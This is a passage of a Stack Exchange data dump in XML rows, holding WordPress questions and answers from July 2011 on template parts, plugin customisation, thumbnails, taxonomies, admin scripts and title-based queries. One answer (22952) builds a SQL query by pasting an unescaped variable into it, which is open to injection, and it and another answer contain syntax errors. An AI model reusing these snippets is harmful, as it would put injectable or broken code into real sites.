  <row Id="22933" PostTypeId="2" ParentId="22924" CreationDate="2011-07-14T12:07:04.497" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.quickonlinetips.com/archives/2010/05/wordpress-backup-services/&quot; rel=&quot;nofollow&quot;&gt;Useful Information&lt;/a&gt;.just go through the link &amp;amp; you will get lot of details about backup plugin and &lt;a href=&quot;http://tournasdimitrios1.wordpress.com/2011/07/08/3-ways-to-automatically-backup-wordpress-blog-database-files/&quot; rel=&quot;nofollow&quot;&gt;More useful&lt;/a&gt; i submitted for you.Enjoy.:)&lt;/p&gt;&#xA;" OwnerUserId="5669" LastActivityDate="2011-07-14T12:07:04.497" />
  <row Id="22934" PostTypeId="2" ParentId="22873" CreationDate="2011-07-14T12:20:40.943" Score="1" ViewCount="" Body="&lt;p&gt;I prefer using template-part files, with &lt;code&gt;get_template_part()&lt;/code&gt; and &lt;code&gt;get_post_format()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part( 'post', get_post_format() ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method will then look for, e.g. &lt;code&gt;post-gallery.php&lt;/code&gt;, and fall back to &lt;code&gt;post.php&lt;/code&gt; if either &lt;code&gt;post-gallery.php&lt;/code&gt; doesn't exist, or if &lt;code&gt;get_post_format()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, for each Post Format type, you simply create &lt;code&gt;post-{post-format-type}.php&lt;/code&gt;, and you're good to go.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-14T12:20:40.943" />
  <row Id="22935" PostTypeId="1" AcceptedAnswerId="22938" CreationDate="2011-07-14T12:31:07.673" Score="2" ViewCount="80" Body="&lt;p&gt;What is the best way to modify a plugin? I frequently want to make small changes to one or two functions within a large plugin. This is easily done, but I have to use comments to mark my changes and modify the plugin again after an update. Ideally I'd like to leave the plugin alone and make my changes elsewhere, much like we do with themes and child themes. Can I make a plugin that requires the parent plugin and will override it?&lt;/p&gt;&#xA;" OwnerUserId="6976" LastActivityDate="2011-07-19T15:43:50.420" Title="Proper Way to Modify Plugin" Tags="&lt;plugins&gt;&lt;customization&gt;" AnswerCount="5" />
  <row Id="22936" PostTypeId="2" ParentId="22930" CreationDate="2011-07-14T12:34:44.427" Score="0" ViewCount="" Body="&lt;p&gt;If you don't want a &lt;em&gt;list of Pages&lt;/em&gt;, then why are you calling &lt;code&gt;wp_list_pages()&lt;/code&gt; in your code? that function returns a &lt;em&gt;list of Pages&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;need to use &lt;code&gt;get_posts()&lt;/code&gt; instead&lt;/a&gt;, and then loop through the results to output whatever &lt;code&gt;$post&lt;/code&gt; content you want to display. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. you could do something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post;&#xA;$child_pages = get_posts( array(&#xA;    'post_parent' =&amp;gt; $post-&amp;gt;ID&#xA;) );&#xA;?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;foreach ( $child_pages as $child ) {&#xA;    ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;h3&amp;gt;&amp;lt;?php echo $child-&amp;gt;post_title; ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;div&amp;gt;&amp;lt;?php echo $child-&amp;gt;post_content; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to access &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; from outside the Loop, do something like this &lt;em&gt;inside&lt;/em&gt; the Loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_post_id = $post-&amp;gt;post_ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, just use &lt;code&gt;$current_post_id&lt;/code&gt; outside the Loop. (Note that you'll only want to do this on template pages that display single Posts; otherwise, the value of &lt;code&gt;$current_post_id&lt;/code&gt; will change on every cycle of the &lt;code&gt;foreach&lt;/code&gt; loop.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then change your &lt;code&gt;get_posts()&lt;/code&gt; call accordingly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$child_pages = get_posts( array(&#xA;    'post_parent' =&amp;gt; $current_post_id&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-14T14:44:30.227" LastActivityDate="2011-07-14T14:44:30.227" CommentCount="11" />
  <row Id="22937" PostTypeId="2" ParentId="22935" CreationDate="2011-07-14T12:36:48.090" Score="1" ViewCount="" Body="&lt;p&gt;The best way would be to just clone it and change the Plugin Name in the header and change the directory name.  This way you could also have the original installed but not activated so you will still get alerts when updates are released.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Name Of The Plugin&#xA;Plugin URI: http://URI_Of_Page_Describing_Plugin_and_Updates&#xA;Description: A brief description of the Plugin.&#xA;Version: The Plugin's Version Number, e.g.: 1.0&#xA;Author: Name Of The Plugin Author&#xA;Author URI: http://URI_Of_The_Plugin_Author&#xA;License: A &quot;Slug&quot; license name e.g. GPL2&#xA;*/&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-14T12:36:48.090" CommentCount="2" />
  <row Id="22938" PostTypeId="2" ParentId="22935" CreationDate="2011-07-14T12:40:28.057" Score="2" ViewCount="" Body="&lt;p&gt;IMHO, the best approach is either to fork the Plugin to maintain your changes, or else submit patches to the Plugin developer, to have your changes made a part of the original Plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a &quot;Child Plugin&quot; really isn't easy. The &quot;Child Theme&quot; concept really applies to the &lt;em&gt;template files&lt;/em&gt; that get used, moreso than the Theme functions (and in fact, the &lt;code&gt;functions.php&lt;/code&gt; file from both Parent and Child get loaded, which &lt;em&gt;does&lt;/em&gt; cause problems for improperly coded &lt;code&gt;functions.php&lt;/code&gt; files in either the Child or Parent Theme).&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-14T12:40:28.057" CommentCount="2" />
  <row Id="22939" PostTypeId="1" AcceptedAnswerId="22941" CreationDate="2011-07-14T12:51:48.343" Score="1" ViewCount="32" Body="&lt;p&gt;I have a very large Wordpress image bank (over 600 images, all in use...!) and a new development will mean that i would like to change some of the thumbnail settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have at the moment &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_post_thumbnail_size( 75, 75, true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the functions, which of course means that the thumbnail is cropped to fit. I would like to change this so that the thumbnail is scaled, rather than cropped &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_post_thumbnail_size( 75, 75);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But will this change the current images i have? If not, is there a way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4181" LastActivityDate="2011-07-14T12:57:23.657" Title="Wordpress thumbnail settings change" Tags="&lt;post-thumbnails&gt;&lt;set-post-thumbnail-size&gt;" AnswerCount="1" />
  <row Id="22940" PostTypeId="1" AcceptedAnswerId="22948" CreationDate="2011-07-14T12:53:11.180" Score="0" ViewCount="54" Body="&lt;p&gt;I have a custom post type, I am echoing out my custom taxonomies in my template by doing the following, &lt;code&gt;get_the_term_list( get_the_ID(), 'work', '&amp;lt;li&amp;gt;', &quot;&quot;, '&amp;lt;/li&amp;gt;')&lt;/code&gt; , this currently returns &quot;Design&quot;, what I am wanting to do, is the following, for the first value that it is found I want to do the following, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;the taxonomies link&quot;&amp;gt; Find out more about Taxonomy Name&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for the second value (if there is a 2nd) I would like the do the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;the taxonomies link&quot;&amp;gt;How Taxonomy Name can benefit you&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically how ever many taxonomies there I only want to show 2 and I want to be able to use them as above? Is this even possible?&lt;/p&gt;&#xA;" OwnerUserId="6964" LastActivityDate="2011-07-14T14:08:23.067" Title="get_the_term_list() wanting to loop through the returned values" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;get-the-term-list&gt;" AnswerCount="1" />
  <row Id="22941" PostTypeId="2" ParentId="22939" CreationDate="2011-07-14T12:57:23.657" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;The Regenerate Thumbnails plugin&lt;/a&gt; will go through your media library and re crop all your images.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-07-14T12:57:23.657" CommentCount="1" />
  <row Id="22943" PostTypeId="1" CreationDate="2011-07-14T13:10:23.380" Score="0" ViewCount="51" Body="&lt;p&gt;I want to get a sidebar and save it in a Variable, &lt;br /&gt;&#xA;This is impossible with the get_sidebar function since it simply prints out &lt;br /&gt;&#xA;the sidebar, is there another function that I can use?&lt;/p&gt;&#xA;" OwnerUserId="3642" LastActivityDate="2011-08-31T21:16:39.943" Title="how do I get_sidebar into a varaible?" Tags="&lt;sidebar&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="22945" PostTypeId="2" ParentId="22943" CreationDate="2011-07-14T13:26:54.193" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;get_sidebar()&lt;/code&gt; function is an &lt;em&gt;include&lt;/em&gt; function, used to include &lt;code&gt;sidebar.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function I think you're after is &lt;code&gt;dynamic_sidebar()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/dynamic_sidebar&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;), assuming you know the ID of the dynamic sidebar you want to use.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-14T13:26:54.193" />
  <row Id="22946" PostTypeId="2" ParentId="17217" CreationDate="2011-07-14T13:50:22.323" Score="0" ViewCount="" Body="&lt;p&gt;I use this in functions.php and then bracket the code in the editor I don't want autop'd with &lt;code&gt;&amp;lt;!-- noformat on --&amp;gt;&lt;/code&gt; and &amp;lt;&lt;code&gt;!-- noformat off --&amp;gt;&lt;/code&gt; lines.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   // &amp;lt;!-- noformat on --&amp;gt; and &amp;lt;!-- noformat off --&amp;gt; function&#xA;&#xA;function newautop($text)&#xA;{&#xA;    $newtext = &quot;&quot;;&#xA;    $pos = 0;&#xA;&#xA;    $tags = array('&amp;lt;!-- noformat on --&amp;gt;', '&amp;lt;!-- noformat off --&amp;gt;');&#xA;    $status = 0;&#xA;&#xA;    while (!(($newpos = strpos($text, $tags[$status], $pos)) === FALSE))&#xA;    {&#xA;        $sub = substr($text, $pos, $newpos-$pos);&#xA;&#xA;        if ($status)&#xA;            $newtext .= $sub;&#xA;        else&#xA;            $newtext .= convert_chars(wptexturize(wpautop($sub)));      //Apply both functions (faster)&#xA;&#xA;        $pos = $newpos+strlen($tags[$status]);&#xA;&#xA;        $status = $status?0:1;&#xA;    }&#xA;&#xA;    $sub = substr($text, $pos, strlen($text)-$pos);&#xA;&#xA;    if ($status)&#xA;        $newtext .= $sub;&#xA;    else&#xA;        $newtext .= convert_chars(wptexturize(wpautop($sub)));      //Apply both functions (faster)&#xA;&#xA;    //To remove the tags&#xA;    $newtext = str_replace($tags[0], &quot;&quot;, $newtext);&#xA;    $newtext = str_replace($tags[1], &quot;&quot;, $newtext);&#xA;&#xA;    return $newtext;&#xA;}&#xA;&#xA;function newtexturize($text)&#xA;{&#xA;    return $text;   &#xA;}&#xA;&#xA;function new_convert_chars($text)&#xA;{&#xA;    return $text;   &#xA;}&#xA;&#xA;remove_filter('the_content', 'wpautop');&#xA;add_filter('the_content', 'newautop');&#xA;&#xA;remove_filter('the_content', 'wptexturize');&#xA;add_filter('the_content', 'newtexturize');&#xA;&#xA;remove_filter('the_content', 'convert_chars');&#xA;add_filter('the_content', 'new_convert_chars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-07-14T13:50:22.323" />
  <row Id="22947" PostTypeId="1" CreationDate="2011-07-14T13:59:57.493" Score="2" ViewCount="61" Body="&lt;p&gt;We have a project that uses several custom taxonomies, and we're finding that the client wants to add the same term in several of them. While the first slug for Foo may be &lt;code&gt;foo&lt;/code&gt;, subsequent copies of Foo in different taxonomies become &lt;code&gt;foo-2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nicer if the two terms could both use the same slug. It would be less confusing, and allow for nicer URLs like &lt;code&gt;search?tax=foo&lt;/code&gt; rather than &lt;code&gt;search?tax=foo-2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice that the &lt;code&gt;wp_terms&lt;/code&gt; and &lt;code&gt;wp_term_taxonomy&lt;/code&gt; table are separate, leading me to believe that it's technically possible for the same term (Foo with the slug &lt;code&gt;foo&lt;/code&gt;) to appear in more than one taxonomy. But this option isn't exposed in the user interface. Is there a good reason for this? Would I be risking future brokenness by fiddling with the database like that?&lt;/p&gt;&#xA;" OwnerUserId="3828" LastEditorUserId="3828" LastEditorDisplayName="" LastEditDate="2011-07-14T15:07:46.797" LastActivityDate="2011-08-14T14:23:47.687" Title="The same slug in multiple taxonomies" Tags="&lt;custom-taxonomy&gt;&lt;slug&gt;" AnswerCount="1" />
  <row Id="22948" PostTypeId="2" ParentId="22940" CreationDate="2011-07-14T14:08:23.067" Score="0" ViewCount="" Body="&lt;p&gt;I would use &lt;code&gt;wp_get_object_terms&lt;/code&gt; which will return an array of object terms that you can manipulate. You also have a little more control with sorting the terms. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$terms = wp_get_object_terms($post-&amp;gt;ID, 'work', array('orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC'));&#xA;if(is_array($terms)) : ?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;?php if(isset($terms[0])) : ?&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_term_link($terms[0]); ?&amp;gt;&quot;&amp;gt;Find out more about &amp;lt;?php echo $terms[0]-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php if(isset($terms[1])) : ?&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_term_link($terms[1]); ?&amp;gt;&quot;&amp;gt;How  &amp;lt;?php echo $terms[1]-&amp;gt;name; ?&amp;gt; can benefit you&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously, this is not a very dynamic solution and will only work for your first two terms, but these functions should help you sort out the correct solution for you.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-07-14T14:08:23.067" />
  <row Id="22949" PostTypeId="1" AcceptedAnswerId="23438" CreationDate="2011-07-14T14:16:48.120" Score="2" ViewCount="128" Body="&lt;p&gt;is it possible to create a loop of posts using WP_Query or query_posts using the title?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ie&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('post_title'='LIKE '.$str.'% ');&#xA;&#xA;$res = WP_Query($arg);&#xA;&#xA;// the loop...&#xA;&#xA;&#xA;// trying this now...&#xA;$mypostids = $wpdb-&amp;gt;get_col(&quot;select ID from $wpdb-&amp;gt;posts where post_title like 'Abb%' &quot;);&#xA;&#xA;echo count($mypostids).&quot;, &quot;;    // works but can't echo out array of IDs for the next args?&#xA;&#xA;$args = array(&#xA;    'post__in'=&amp;gt; $mypostids&#xA;);&#xA;&#xA;$res = WP_Query($args);&#xA;&#xA;while( $res-&amp;gt;have_posts() ) : $res-&amp;gt;the_post(); ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3978" LastEditorUserId="3978" LastEditorDisplayName="" LastEditDate="2011-07-14T15:19:03.873" LastActivityDate="2011-07-19T13:04:36.487" Title="query_post by title?" Tags="&lt;query-posts&gt;&lt;wp-query&gt;&lt;title&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="22950" PostTypeId="2" ParentId="22947" CreationDate="2011-07-14T14:20:06.613" Score="0" ViewCount="" Body="&lt;p&gt;When you say &lt;em&gt;keyword&lt;/em&gt;, do you mean &lt;em&gt;term&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just did a quick test to confirm: I can have the same &lt;em&gt;term&lt;/em&gt;, which has the same &lt;em&gt;slug&lt;/em&gt;, in both the &lt;em&gt;Category&lt;/em&gt; and &lt;em&gt;Post Tag&lt;/em&gt; taxonomies, so I assume that custom taxonomies likewise can have terms with the same slug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, might there be some taxonomy/term confusion happening here? The &lt;code&gt;search?tax=foo&lt;/code&gt; &lt;em&gt;seems&lt;/em&gt; to imply a search based on a &lt;em&gt;taxonomy&lt;/em&gt;, rather than on a &lt;em&gt;taxonomy term&lt;/em&gt;. A &lt;em&gt;taxonomy term&lt;/em&gt; search would look like &lt;code&gt;search?taxonomy=foo&amp;amp;term=bar&lt;/code&gt;, or perhaps &lt;code&gt;search?term=bar&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-14T14:20:06.613" CommentCount="4" />
  <row Id="22951" PostTypeId="1" AcceptedAnswerId="22954" CreationDate="2011-07-14T14:28:15.607" Score="2" ViewCount="104" Body="&lt;p&gt;I'm trying to enqueue a JS script only when someone is adding or editing a custom post type I created called &quot;recipes&quot;. Currently the script works ok when I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_admin()){&#xA;    wp_enqueue_script( 'my-script' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this loads it in every admin page, I'm assuming I need to hook it to a function but I hvae no idea what it'd be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! &lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-07-14T14:39:49.717" Title="How to enqueue scripts on custom post add/edit pages?" Tags="&lt;custom-post-types&gt;&lt;javascript&gt;&lt;hooks&gt;&lt;wp-enqueue-script&gt;&lt;actions&gt;" AnswerCount="2" />
  <row Id="22952" PostTypeId="2" ParentId="22949" CreationDate="2011-07-14T14:29:47.870" Score="1" ViewCount="" Body="&lt;p&gt;Yes it is possible....&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;&#xA;$mypostids = $wpdb-&amp;gt;get_col(&quot;select ID from $wpdb-&amp;gt;posts where post_title like '%$str%' &quot;);&#xA;&#xA;$args = array('post__in'=$mypostids);&#xA;&#xA;$res = WP_Query($arg);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6961" LastActivityDate="2011-07-14T14:29:47.870" CommentCount="1" />
  <row Id="22953" PostTypeId="1" AcceptedAnswerId="22958" CreationDate="2011-07-14T14:34:45.233" Score="0" ViewCount="21" Body="&lt;p&gt;Its that possible?Than when something is added to page in admin panel, page link to that page appears.&lt;/p&gt;&#xA;" OwnerUserId="4490" LastActivityDate="2011-07-14T15:15:03.793" Title="Hide links to pages that dont have any content" Tags="&lt;page&gt;&lt;links&gt;" AnswerCount="1" />
  <row Id="22954" PostTypeId="2" ParentId="22951" CreationDate="2011-07-14T14:38:47.477" Score="3" ViewCount="" Body="&lt;p&gt;You can do it like this (put in your &lt;code&gt;functions.php&lt;/code&gt;) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_admin_scripts( $hook, $post ) {&#xA;&#xA;    global $post;&#xA;&#xA;    if ( $hook == 'post-new.php' || $hook == 'post.php' ) {&#xA;        if( $post-&amp;gt;post_type == 'recipes' ) {     &#xA;            wp_enqueue_script(  'myscript', get_bloginfo('template_directory').'/js/myscript.js' );&#xA;        }&#xA;    }&#xA;}&#xA;add_action( 'admin_enqueue_scripts', 'add_admin_scripts', 10, 1 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-07-14T14:38:47.477" />
  <row Id="22955" PostTypeId="2" ParentId="22951" CreationDate="2011-07-14T14:39:49.717" Score="1" ViewCount="" Body="&lt;p&gt;There's a hook for that, and it's dead-simple to use. &lt;a href=&quot;http://devpress.com/blog/how-to-load-javascript-in-the-wordpress-admin/&quot; rel=&quot;nofollow&quot;&gt;See this tutorial for an example implementation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-14T14:39:49.717" />
  <row Id="22956" PostTypeId="1" AcceptedAnswerId="22959" CreationDate="2011-07-14T14:50:43.177" Score="0" ViewCount="16" Body="&lt;p&gt;Hopefully a basic question, but one that plagues me nonetheless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a couple of self-hosted WordPress installs on my website.   An issue that I have is that I have common users registered for each site....however some of them feel its a pain to have to go through the signup process each time, and have to juggle multiple accounts in order to comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to commonize accounts, for instance simply using a WP.com/org account and accessing my blogs in that manner?&lt;/p&gt;&#xA;" OwnerUserId="6250" LastActivityDate="2011-07-14T14:55:54.540" Title="Allowing WordPress.org/com accounts on a self-hosted install" Tags="&lt;comments&gt;&lt;user-access&gt;" AnswerCount="1" />
  <row Id="22957" PostTypeId="1" CreationDate="2011-07-14T14:52:26.840" Score="1" ViewCount="17" Body="&lt;p&gt;Wordpress is stripping spaces out of links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example putting this into the web address of a new link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mailto:my@email.com?subject=Hello there&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and saving results in this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mailto:my@email.com?subject=Hellothere&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know that a space is &lt;code&gt;%20&lt;/code&gt; but my clients can't be expected to use this. Plus they may be uploading PDFs/Word documents with spaces in the filename and copying and pasting the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I remedy this? I know I have to use urlencode, however I don't really want to edit the core wordpress admin, because on upgrading I'll have to change it again. However, I will do if its the only way (having a look I can't seem to find a hook or anything that will let me do this!), but I just can't figure out where to put it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any/all help you can give me.&lt;/p&gt;&#xA;" OwnerUserId="4529" LastActivityDate="2011-07-14T15:33:06.397" Title="Wordpress links/bookmarks - need to urlencode because spaces are getting stripped" Tags="&lt;links&gt;&lt;bookmark&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="22958" PostTypeId="2" ParentId="22953" CreationDate="2011-07-14T14:52:42.623" Score="1" ViewCount="" Body="&lt;p&gt;If you're using Custom Nav Menus, I would suggest just adding/removing menu list items as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using &lt;code&gt;wp_list_pages()&lt;/code&gt; to generate your menu, then you can dynamically build an &lt;code&gt;exclude&lt;/code&gt; list, based on &lt;code&gt;get_the_content()&lt;/code&gt;, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$excluded_pages = array();&#xA;$all_pages = get_pages();&#xA;foreach ( $all_pages as $the_page ) {&#xA;    if ( '' == $the_page-&amp;gt;post_content ) {&#xA;        $excluded_pages[] = $the_page-&amp;gt;ID;&#xA;    }&#xA;}&#xA;wp_list_pages( array(&#xA;    'exclude' =&amp;gt; $excluded_pages&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're explicitly including specific Pages, then you'd need to create an array of included Pages, and then only include them if they have content, e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$included_pages = array( '536', '551', '556', '558', '564', '566',‌​ '568' );&#xA;$pages_to_include = array();&#xA;$all_pages = get_pages();&#xA;foreach ( $all_pages as $the_page ) {&#xA;    if ( '' == $the_page-&amp;gt;post_content &amp;amp;&amp;amp; in_array( $the_page-&amp;gt;ID, $included_pages ) ) {&#xA;        $pages_to_include[] = $the_page-&amp;gt;ID;&#xA;    }&#xA;}&#xA;wp_list_pages( array(&#xA;    'include' =&amp;gt; $pages_to_include&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-07-14T15:15:03.793" LastActivityDate="2011-07-14T15:15:03.793" CommentCount="2" />
  <row Id="22959" PostTypeId="2" ParentId="22956" CreationDate="2011-07-14T14:55:54.540" Score="1" ViewCount="" Body="&lt;p&gt;I &lt;em&gt;think&lt;/em&gt; WordPress.&lt;strong&gt;com&lt;/strong&gt; &lt;a href=&quot;http://openid.net/get-an-openid/&quot; rel=&quot;nofollow&quot;&gt;is an &lt;strong&gt;OpenID Provider&lt;/strong&gt;&lt;/a&gt;, meaning that you can use the OpenID Plugin, and allow users to use their WPCOM account to register/login to your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, WordPress.&lt;strong&gt;org&lt;/strong&gt; is &lt;strong&gt;not&lt;/strong&gt; an OpenID Provider (though that would be a neat idea!).&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-14T14:55:54.540" />
  <row Id="22960" PostTypeId="2" ParentId="22918" CreationDate="2011-07-14T15:11:45.860" Score="0" ViewCount="" Body="&lt;p&gt;Try this instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$gloabl $myxclass;&#xA;$myxclass = new Xwidget();&#xA;add_action( 'xxx_followers', array(&amp;amp;$myxclass, &quot;cron_addB&quot; ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('xxx_followers', &quot;init_xclass_and_cron&quot;);&#xA;function init_xclass_and_cron() {&#xA;    $myxclass = new Xwidget();&#xA;    $myxclass-&amp;gt;cron_addB();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-07-14T17:16:49.727" LastActivityDate="2011-07-14T17:16:49.727" CommentCount="5" />
  <row Id="22961" PostTypeId="2" ParentId="22949" CreationDate="2011-07-14T15:21:09.380" Score="1" ViewCount="" Body="&lt;p&gt;I would do it this way:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;functions.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;add_filter( 'posts_where', 'title_like_posts_where', 10, 2 );&#xA;function title_like_posts_where( $where, &amp;amp;$wp_query ) {&#xA;    global $wpdb;&#xA;    if ( $post_title_like = $wp_query-&amp;gt;get( 'post_title_like' ) ) {&#xA;        $where .= ' AND ' . $wpdb-&amp;gt;posts . '.post_title LIKE \'' . esc_sql( like_escape( $post_title_like ) ) . '%\'';&#xA;    }&#xA;    return $where;&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_title_like' 